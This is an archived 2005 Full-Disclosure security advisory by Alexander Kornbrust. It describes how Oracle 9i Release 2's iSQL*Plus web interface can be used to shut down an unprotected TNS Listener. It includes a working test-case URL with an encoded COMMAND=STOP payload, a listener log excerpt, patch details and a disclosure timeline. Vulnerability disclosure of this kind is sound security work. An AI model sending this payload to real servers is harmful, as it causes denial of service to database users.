full-disclosure - Shutdown TNS Listener via Oracle iSQL*Plus

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Fri Oct  7 10:38:28 2005
From: ak at red-database-security.com (Kornbrust, Alexander)
Subject: Shutdown TNS Listener via Oracle iSQL*Plus

Shutdown TNS Listener via Oracle iSQL*Plus 
##########################################

 Name                Shutdown TNS Listener via  Oracle iSQL*Plus
 Systems Affected    Oracle Database 9i Rel. 2
 Severity            Medium Risk 
 Category            Denial of Service
 Vendor URL          http://www.oracle.com 
 This advisory
http://www.red-database-security.com/advisory/oracle_isqlplus_shutdown.h
tml
 Author              Alexander Kornbrust (ak at
red-database-security.com) 
 Date                7 October 2005 (V 1.00)

Details
#######
Oracle iSQL*Plus is a web interface to SQL*Plus. The web interface can
be used to stop the (unprotected) TNS Listener. 

Affected Products
#################
Oracle Database 9i Release 2 

Testcase 
########
http://server:3339/isqlplus?username=s&password=s&sid=%28DESCRIPTION%3D%
28ADDRESS_LIST%3D%28ADDRESS%3D%28PROTOCOL%3DTCP%29%28HOST%3Dlocalhost%29
%28PORT%3D1521%29%29%29%28CONNECT_DATA%3D%28COMMAND%3DSTOP%29%28SERVICE%
3DLISTENER%29%28USER%3DHacker%29%29%29&login=Login&action=logon

==> ERROR: 

ORA-12564: TNS:connection refused 

Excerpt from the listener.log:

28-OCT-2003 15:14:39 *
(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)(USER=Hacker)(CID=(PROGRAM
=c:\oracle\ora92\bin\isqlplus)(HOST=LOCALHOST)(USER=SYSTEM))) * stop * 0

Affected systems 
################
Tested with Oracle Database 9.0.2.4. 

Patch Information
#################
This bug is fixed with Critical Patch Update July 2005 (CPU July 2005).
Oracle 
forgot to inform Red-Database-Security that this bug is fixed with CPU
July 2005.

All already published alerts are available on the web site of
Red-Database-Security GmbH
http://www.red-database-security.com/advisory/published_alerts.html

History
#######
28-oct-2003 Oracle secalert was informed

29-oct-2003 Bug confirmed

12-jul-2005 Oracle published CPU July 2005 without informing
Red-Database-Security 
that this bug is already fixed. 

07-oct-2005 Red-Database-Security published this advisory

(c) 2005 by Red-Database-Security GmbH - last update 7-october-2005